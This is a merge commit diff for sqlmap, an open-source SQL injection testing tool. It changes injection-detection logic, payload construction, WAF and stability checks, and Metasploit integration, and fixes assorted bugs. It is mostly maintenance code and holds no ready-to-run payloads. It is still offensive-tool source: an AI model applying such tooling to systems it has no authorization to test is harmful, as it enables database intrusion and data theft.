Merge pull request #2 from sqlmapproject/master

update
This commit is contained in:
cxh852456 2015-08-31 16:14:26 +08:00
commit 4224f1fd91
53 changed files with 707 additions and 417 deletions

View File

@ -45,6 +45,10 @@ def _win_wav_play(filename):
winsound.PlaySound(filename, winsound.SND_FILENAME)
def _linux_wav_play(filename):
for _ in ("aplay", "paplay", "play"):
if not os.system("%s '%s' 2>/dev/null" % (_, filename)):
return
import ctypes
PA_STREAM_PLAYBACK = 1

View File

@ -15,7 +15,6 @@ from subprocess import Popen as execute
from extra.beep.beep import beep
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import extractRegexResult
from lib.core.common import extractTextTagContent
@ -46,7 +45,6 @@ from lib.core.datatype import AttribDict
from lib.core.datatype import InjectionDict
from lib.core.decorators import cachedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import DBMS
from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTP_HEADER
@ -66,7 +64,6 @@ from lib.core.settings import HEURISTIC_CHECK_ALPHABET
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import URI_HTTP_HEADER
from lib.core.settings import LOWER_RATIO_BOUND
from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
from lib.core.settings import IDS_WAF_CHECK_RATIO
@ -90,6 +87,7 @@ def checkSqlInjection(place, parameter, value):
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
tests = getSortedInjectionTests()
seenPayload = set()
while tests:
test = tests.pop(0)
@ -386,9 +384,17 @@ def checkSqlInjection(place, parameter, value):
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
if fstPayload:
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
if reqPayload:
if reqPayload in seenPayload:
continue
else:
seenPayload.add(reqPayload)
else:
reqPayload = None
# Perform the test's request and check whether or not the
# payload was successful
@ -423,7 +429,7 @@ def checkSqlInjection(place, parameter, value):
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage = threadData.lastComparisonPage or ""
if trueResult:
if trueResult and not(truePage == falsePage and not kb.nullConnection):
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
# Perform the test's False request
@ -516,6 +522,17 @@ def checkSqlInjection(place, parameter, value):
infoMsg += "there is at least one other (potential) "
infoMsg += "technique found"
singleTimeLogMessage(infoMsg)
elif not injection.data:
_ = test.request.columns.split('-')[-1]
if _.isdigit() and int(_) > 10:
if kb.futileUnion is None:
msg = "it is not recommended to perform "
msg += "extended UNION tests if there is not "
msg += "at least one other (potential) "
msg += "technique found. Do you want to skip? [Y/n] "
kb.futileUnion = readInput(msg, default="Y").strip().upper() == 'N'
if kb.futileUnion is False:
continue
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
@ -532,7 +549,7 @@ def checkSqlInjection(place, parameter, value):
kb.previousMethod = method
if conf.dummy:
if conf.dummy or conf.offline:
injectable = False
# If the injection test was successful feed the injection
@ -706,7 +723,8 @@ def checkFalsePositives(injection):
retVal = injection
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data):
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
pushValue(kb.injection)
infoMsg = "checking if the injection point on %s " % injection.place
@ -994,11 +1012,15 @@ def checkStability():
like for instance string matching (--string).
"""
infoMsg = "testing if the target URL is stable. This can take a couple of seconds"
infoMsg = "testing if the target URL is stable"
logger.info(infoMsg)
firstPage = kb.originalPage # set inside checkConnection()
time.sleep(1)
delay = 1 - (time.time() - (kb.originalPageTime or 0))
delay = max(0, min(1, delay))
time.sleep(delay)
secondPage, _ = Request.queryPage(content=True, raise404=False)
if kb.redirectChoice:
@ -1117,7 +1139,7 @@ def checkWaf():
Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
"""
if any((conf.string, conf.notString, conf.regexp)):
if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline)):
return None
dbmMsg = "heuristically checking if the target is protected by "
@ -1227,10 +1249,10 @@ def checkNullConnection():
infoMsg = "testing NULL connection to the target URL"
logger.info(infoMsg)
pushValue(kb.pageCompress)
kb.pageCompress = False
try:
pushValue(kb.pageCompress)
kb.pageCompress = False
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
@ -1260,12 +1282,13 @@ def checkNullConnection():
errMsg = getUnicode(errMsg)
raise SqlmapConnectionException(errMsg)
kb.pageCompress = popValue()
finally:
kb.pageCompress = popValue()
return kb.nullConnection is not None
def checkConnection(suppressOutput=False):
if not any((conf.proxy, conf.tor, conf.dummy)):
if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
try:
debugMsg = "resolving hostname '%s'" % conf.hostname
logger.debug(debugMsg)
@ -1275,14 +1298,15 @@ def checkConnection(suppressOutput=False):
raise SqlmapConnectionException(errMsg)
except socket.error, ex:
errMsg = "problem occurred while "
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getUnicode(ex))
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, ex.message)
raise SqlmapConnectionException(errMsg)
if not suppressOutput and not conf.dummy:
if not suppressOutput and not conf.dummy and not conf.offline:
infoMsg = "testing connection to the target URL"
logger.info(infoMsg)
try:
kb.originalPageTime = time.time()
page, _ = Request.queryPage(content=True, noteResponseTime=False)
kb.originalPage = kb.pageTemplate = page

View File

@ -155,8 +155,11 @@ def _formatInjection(inj):
return data
def _showInjections():
header = "sqlmap identified the following injection points with "
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
if kb.testQueryCount > 0:
header = "sqlmap identified the following injection point(s) with "
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
else:
header = "sqlmap resumed the following injection point(s) from stored session"
if hasattr(conf, "api"):
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
@ -427,6 +430,9 @@ def start():
if skip:
continue
if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
continue
if place not in conf.paramDict:
continue
@ -495,47 +501,49 @@ def start():
kb.testedParams.add(paramKey)
if testSqlInj:
if place == PLACE.COOKIE:
pushValue(kb.mergeCookies)
kb.mergeCookies = False
try:
if place == PLACE.COOKIE:
pushValue(kb.mergeCookies)
kb.mergeCookies = False
check = heuristicCheckSqlInjection(place, parameter)
check = heuristicCheckSqlInjection(place, parameter)
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg)
continue
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg)
continue
infoMsg = "testing for SQL injection on %s " % paramType
infoMsg += "parameter '%s'" % parameter
logger.info(infoMsg)
infoMsg = "testing for SQL injection on %s " % paramType
infoMsg += "parameter '%s'" % parameter
logger.info(infoMsg)
injection = checkSqlInjection(place, parameter, value)
proceed = not kb.endDetection
injection = checkSqlInjection(place, parameter, value)
proceed = not kb.endDetection
if injection is not None and injection.place is not None:
kb.injections.append(injection)
if injection is not None and injection.place is not None:
kb.injections.append(injection)
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
test = readInput(msg, default="N")
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
test = readInput(msg, default="N")
if test[0] not in ("y", "Y"):
proceed = False
paramKey = (conf.hostname, conf.path, None, None)
kb.testedParams.add(paramKey)
else:
warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
if test[0] not in ("y", "Y"):
proceed = False
paramKey = (conf.hostname, conf.path, None, None)
kb.testedParams.add(paramKey)
else:
warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
if place == PLACE.COOKIE:
kb.mergeCookies = popValue()
finally:
if place == PLACE.COOKIE:
kb.mergeCookies = popValue()
if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
if kb.vainRun and not conf.multipleTargets:

View File

@ -79,7 +79,9 @@ class Agent(object):
retVal = ""
if where is None and isTechniqueAvailable(kb.technique):
if kb.forceWhere:
where = kb.forceWhere
elif where is None and isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
if kb.injection.place is not None:
@ -174,7 +176,10 @@ class Agent(object):
while True:
_ = re.search(r"\\g<([^>]+)>", repl)
if _:
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
try:
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
except IndexError:
break
else:
break
retVal = string[:match.start()] + repl + string[match.end():]
@ -185,6 +190,7 @@ class Agent(object):
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
else:
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
if retVal == paramString and urlencode(parameter) != parameter:
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
@ -213,6 +219,9 @@ class Agent(object):
if conf.direct:
return self.payloadDirect(expression)
if expression is None:
return None
expression = self.cleanupPayload(expression)
expression = unescaper.escape(expression)
query = None
@ -241,8 +250,7 @@ class Agent(object):
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
query += " "
if query:
query = "%s%s" % (query.replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
return query
@ -255,6 +263,9 @@ class Agent(object):
if conf.direct:
return self.payloadDirect(expression)
if expression is None:
return None
expression = self.cleanupPayload(expression)
# Take default values if None

View File

@ -43,6 +43,7 @@ from xml.dom import minidom
from xml.sax import parse
from xml.sax import SAXParseException
from extra.beep.beep import beep
from extra.cloak.cloak import decloak
from extra.safe2bin.safe2bin import safecharencode
from lib.core.bigarray import BigArray
@ -97,7 +98,6 @@ from lib.core.settings import DBMS_DIRECTORY_DICT
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
from lib.core.settings import DESCRIPTION
from lib.core.settings import DUMMY_USER_INJECTION
from lib.core.settings import DYNAMICITY_MARK_LENGTH
from lib.core.settings import ERROR_PARSING_REGEXES
@ -134,9 +134,7 @@ from lib.core.settings import REFLECTED_MAX_REGEX_PARTS
from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
from lib.core.settings import REFLECTED_VALUE_MARKER
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
from lib.core.settings import REVISION
from lib.core.settings import SENSITIVE_DATA_REGEX
from lib.core.settings import SITE
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import TEXT_TAG_REGEX
from lib.core.settings import TIME_STDEV_COEFF
@ -146,7 +144,6 @@ from lib.core.settings import URI_QUESTION_MARKER
from lib.core.settings import URLENCODE_CHAR_LIMIT
from lib.core.settings import URLENCODE_FAILSAFE_CHARS
from lib.core.settings import USER_AGENT_ALIASES
from lib.core.settings import VERSION
from lib.core.settings import VERSION_STRING
from lib.core.threads import getCurrentThreadData
from lib.utils.sqlalchemy import _sqlalchemy
@ -864,6 +861,9 @@ def dataToDumpFile(dumpFile, data):
if "No space left" in getUnicode(ex):
errMsg = "no space left on output device"
logger.error(errMsg)
elif "Permission denied" in getUnicode(ex):
errMsg = "permission denied when flushing dump data"
logger.error(errMsg)
else:
raise
@ -875,11 +875,11 @@ def dataToOutFile(filename, data):
retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
try:
with openFile(retVal, "wb") as f:
with open(retVal, "w+b") as f:
f.write(data)
except IOError, ex:
errMsg = "something went wrong while trying to write "
errMsg += "to the output file ('%s')" % ex
errMsg += "to the output file ('%s')" % ex.message
raise SqlmapGenericException(errMsg)
return retVal
@ -935,6 +935,10 @@ def readInput(message, default=None, checkBatch=True):
retVal = default
else:
logging._acquireLock()
if conf.get("beep"):
beep()
dataToStdout("\r%s" % message, forceOutput=True, bold=True)
kb.prependFlag = False
@ -1027,7 +1031,7 @@ def checkFile(filename):
if valid:
try:
with open(filename, "rb") as f:
with open(filename, "rb"):
pass
except:
valid = False
@ -1101,7 +1105,7 @@ def setPaths():
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
_ = os.path.join(os.path.expanduser("~"), ".sqlmap")
_ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding())
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
@ -1111,7 +1115,6 @@ def setPaths():
paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
@ -1583,9 +1586,10 @@ def safeExpandUser(filepath):
try:
retVal = os.path.expanduser(filepath)
except UnicodeDecodeError:
except UnicodeError:
_ = locale.getdefaultlocale()
retVal = getUnicode(os.path.expanduser(filepath.encode(_[1] if _ and len(_) > 1 else UNICODE_ENCODING)))
encoding = _[1] if _ and len(_) > 1 else UNICODE_ENCODING
retVal = getUnicode(os.path.expanduser(filepath.encode(encoding)), encoding=encoding)
return retVal
@ -2115,7 +2119,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING)
return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
@ -2280,7 +2284,8 @@ def findMultipartPostBoundary(post):
candidates = []
for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""):
_ = match.group(1)
_ = match.group(1).strip().strip('-')
if _ in done:
continue
else:
@ -2481,7 +2486,11 @@ def extractTextTagContent(page):
[u'Title', u'foobar']
"""
page = re.sub(r"(?si)[^\s>]*%s[^<]*" % REFLECTED_VALUE_MARKER, "", page or "")
page = page or ""
if REFLECTED_VALUE_MARKER in page:
page = re.sub(r"(?si)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page)
return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))
def trimAlphaNum(value):
@ -2575,7 +2584,7 @@ def findDynamicContent(firstPage, secondPage):
prefix = trimAlphaNum(prefix)
suffix = trimAlphaNum(suffix)
kb.dynamicMarkings.append((re.escape(prefix[-DYNAMICITY_MARK_LENGTH / 2:]) if prefix else None, re.escape(suffix[:DYNAMICITY_MARK_LENGTH / 2]) if suffix else None))
kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None))
if len(kb.dynamicMarkings) > 0:
infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
@ -2594,11 +2603,11 @@ def removeDynamicContent(page):
if prefix is None and suffix is None:
continue
elif prefix is None:
page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix, page)
page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page)
elif suffix is None:
page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix, page)
page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page)
else:
page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix, suffix), page)
page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
return page
@ -2936,7 +2945,7 @@ def unhandledExceptionMessage():
errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s\n" % PLATFORM
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", " ".join(sys.argv))
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms())
@ -2978,7 +2987,7 @@ def createGithubIssue(errMsg, excMsg):
data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN})
req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")})
try:
f = urllib2.urlopen(req)
@ -3011,7 +3020,7 @@ def maskSensitiveData(msg):
retVal = getUnicode(msg)
for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy"))):
for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))):
regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item))
while extractRegexResult(regex, retVal):
value = extractRegexResult(regex, retVal)
@ -3022,7 +3031,6 @@ def maskSensitiveData(msg):
if match:
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
if getpass.getuser():
retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal)
@ -3285,7 +3293,7 @@ def expandMnemonics(mnemonics, parser, args):
pointer = pointer.next[char]
pointer.current.append(option)
for mnemonic in mnemonics.split(','):
for mnemonic in (mnemonics or "").split(','):
found = None
name = mnemonic.split('=')[0].replace("-", "").strip()
value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None
@ -3465,8 +3473,13 @@ def asciifyUrl(url, forceQuote=False):
netloc = ':' + password + netloc
netloc = username + netloc
if parts.port:
netloc += ':' + str(parts.port)
try:
port = parts.port
except:
port = None
if port:
netloc += ':' + str(port)
return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment])
@ -3657,7 +3670,7 @@ def evaluateCode(code, variables=None):
except KeyboardInterrupt:
raise
except Exception, ex:
errMsg = "an error occurred while evaluating provided code ('%s'). " % ex
errMsg = "an error occurred while evaluating provided code ('%s') " % ex.message
raise SqlmapGenericException(errMsg)
def serializeObject(object_):
@ -3713,7 +3726,7 @@ def applyFunctionRecursively(value, function):
return retVal
def decodeHexValue(value):
def decodeHexValue(value, raw=False):
"""
Returns value decoded from DBMS specific hexadecimal representation
@ -3728,7 +3741,7 @@ def decodeHexValue(value):
if value and isinstance(value, basestring) and len(value) % 2 == 0:
retVal = hexdecode(retVal)
if not kb.binaryField:
if not kb.binaryField and not raw:
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
try:
retVal = retVal.decode("utf-16-le")
@ -3826,7 +3839,7 @@ def resetCookieJar(cookieJar):
with open(filename, "w+b") as f:
f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES)
for line in lines:
_ = line.split()
_ = line.split("\t")
if len(_) == 7:
_[4] = FORCE_COOKIE_EXPIRATION_TIME
f.write("\n%s" % "\t".join(_))

View File

@ -105,13 +105,22 @@ PGSQL_PRIVS = {
3: "catupd",
}
# Reference(s): http://stackoverflow.com/a/17672504
# http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES
FIREBIRD_PRIVS = {
"S": "SELECT",
"I": "INSERT",
"U": "UPDATE",
"D": "DELETE",
"R": "REFERENCES",
"R": "REFERENCE",
"E": "EXECUTE",
"X": "EXECUTE",
"A": "ALL",
"M": "MEMBER",
"T": "DECRYPT",
"E": "ENCRYPT",
"B": "SUBSCRIBE",
}
DB2_PRIVS = {

View File

@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission
"""
import cgi
import codecs
import hashlib
import os
import re
@ -22,7 +21,6 @@ from lib.core.common import normalizeUnicode
from lib.core.common import openFile
from lib.core.common import prioritySortColumns
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import safeCSValue
from lib.core.common import unicodeencode
from lib.core.common import unsafeSQLIdentificatorNaming
@ -76,7 +74,7 @@ class Dump(object):
try:
self._outputFP.write(text)
except IOError, ex:
errMsg = "error occurred while writing to log file ('%s')" % ex
errMsg = "error occurred while writing to log file ('%s')" % ex.message
raise SqlmapGenericException(errMsg)
if kb.get("multiThreadMode"):
@ -96,7 +94,7 @@ class Dump(object):
try:
self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb")
except IOError, ex:
errMsg = "error occurred while opening log file ('%s')" % ex
errMsg = "error occurred while opening log file ('%s')" % ex.message
raise SqlmapGenericException(errMsg)
def getOutputFile(self):

View File

@ -197,6 +197,7 @@ class HASHDB_KEYS:
KB_CHARS = "KB_CHARS"
KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS"
KB_INJECTIONS = "KB_INJECTIONS"
KB_ERROR_CHUNK_LENGTH = "KB_ERROR_CHUNK_LENGTH"
KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE"
OS = "OS"

View File

@ -9,6 +9,7 @@ import cookielib
import glob
import inspect
import logging
import httplib
import os
import random
import re
@ -53,7 +54,6 @@ from lib.core.common import readInput
from lib.core.common import resetCookieJar
from lib.core.common import runningAsAdmin
from lib.core.common import safeExpandUser
from lib.core.common import sanitizeStr
from lib.core.common import setOptimize
from lib.core.common import setPaths
from lib.core.common import singleTimeWarnMessage
@ -107,6 +107,7 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
from lib.core.settings import DEFAULT_TOR_SOCKS_PORT
from lib.core.settings import DUMMY_URL
from lib.core.settings import IGNORE_SAVE_OPTIONS
from lib.core.settings import INJECT_HERE_MARK
from lib.core.settings import IS_WIN
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
@ -289,7 +290,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
line = line.strip('\r')
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
if len(line) == 0 and method and method != HTTPMETHOD.GET and data is None:
if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
data = ""
params = True
@ -311,8 +312,9 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
params = True
# Headers
elif re.search(r"\A\S+: ", line):
key, value = line.split(": ", 1)
elif re.search(r"\A\S+:", line):
key, value = line.split(":", 1)
value = value.strip().replace("\r", "").replace("\n", "")
# Cookie and Host headers
if key.upper() == HTTP_HEADER.COOKIE.upper():
@ -766,8 +768,14 @@ def _setMetasploit():
if conf.msfPath:
for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")):
if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")):
if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")):
msfEnvPathExists = True
if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)):
kb.oldMsf = False
elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")):
kb.oldMsf = True
else:
msfEnvPathExists = False
conf.msfPath = path
break
@ -798,15 +806,23 @@ def _setMetasploit():
for envPath in envPaths:
envPath = envPath.replace(";", "")
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole", "msfencode", "msfpayload")):
infoMsg = "Metasploit Framework has been found "
infoMsg += "installed in the '%s' path" % envPath
logger.info(infoMsg)
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole")):
msfEnvPathExists = True
conf.msfPath = envPath
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)):
kb.oldMsf = False
elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")):
kb.oldMsf = True
else:
msfEnvPathExists = False
break
if msfEnvPathExists:
infoMsg = "Metasploit Framework has been found "
infoMsg += "installed in the '%s' path" % envPath
logger.info(infoMsg)
conf.msfPath = envPath
break
if not msfEnvPathExists:
errMsg = "unable to locate Metasploit Framework installation. "
@ -1325,6 +1341,9 @@ def _setHTTPExtraHeaders():
conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n")
for headerValue in conf.headers:
if not headerValue.strip():
continue
if headerValue.count(':') >= 1:
header, value = (_.lstrip() for _ in headerValue.split(":", 1))
@ -1504,7 +1523,7 @@ def _createTemporaryDirectory():
os.makedirs(tempfile.gettempdir())
except IOError, ex:
errMsg = "there has been a problem while accessing "
errMsg += "system's temporary directory location(s) ('%s'). Please " % ex
errMsg += "system's temporary directory location(s) ('%s'). Please " % ex.message
errMsg += "make sure that there is enough disk space left. If problem persists, "
errMsg += "try to set environment variable 'TEMP' to a location "
errMsg += "writeable by the current user"
@ -1562,6 +1581,9 @@ def _cleanupOptions():
else:
conf.skip = []
if conf.cookie:
conf.cookie = re.sub(r"[\r\n]", "", conf.cookie)
if conf.delay:
conf.delay = float(conf.delay)
@ -1669,6 +1691,13 @@ def _cleanupOptions():
threadData = getCurrentThreadData()
threadData.reset()
def _dirtyPatches():
"""
Place for "dirty" Python related patches
"""
httplib._MAXLINE = 1 * 1024 * 1024 # to accept overly long result lines (e.g. SQLi results in HTTP header responses)
def _purgeOutput():
"""
Safely removes (purges) output directory.
@ -1766,11 +1795,14 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.endDetection = False
kb.explicitSettings = set()
kb.extendTests = None
kb.errorChunkLength = None
kb.errorIsNone = True
kb.fileReadMode = False
kb.followSitemapRecursion = None
kb.forcedDbms = None
kb.forcePartialUnion = False
kb.forceWhere = None
kb.futileUnion = None
kb.headersFp = {}
kb.heuristicDbms = None
kb.heuristicMode = False
@ -1797,9 +1829,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.multiThreadMode = False
kb.negativeLogic = False
kb.nullConnection = None
kb.oldMsf = None
kb.orderByColumns = None
kb.originalCode = None
kb.originalPage = None
kb.originalPageTime = None
kb.originalTimeDelay = None
kb.originalUrls = dict()
@ -1845,6 +1879,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.technique = None
kb.tempDir = None
kb.testMode = False
kb.testOnlyCustom = False
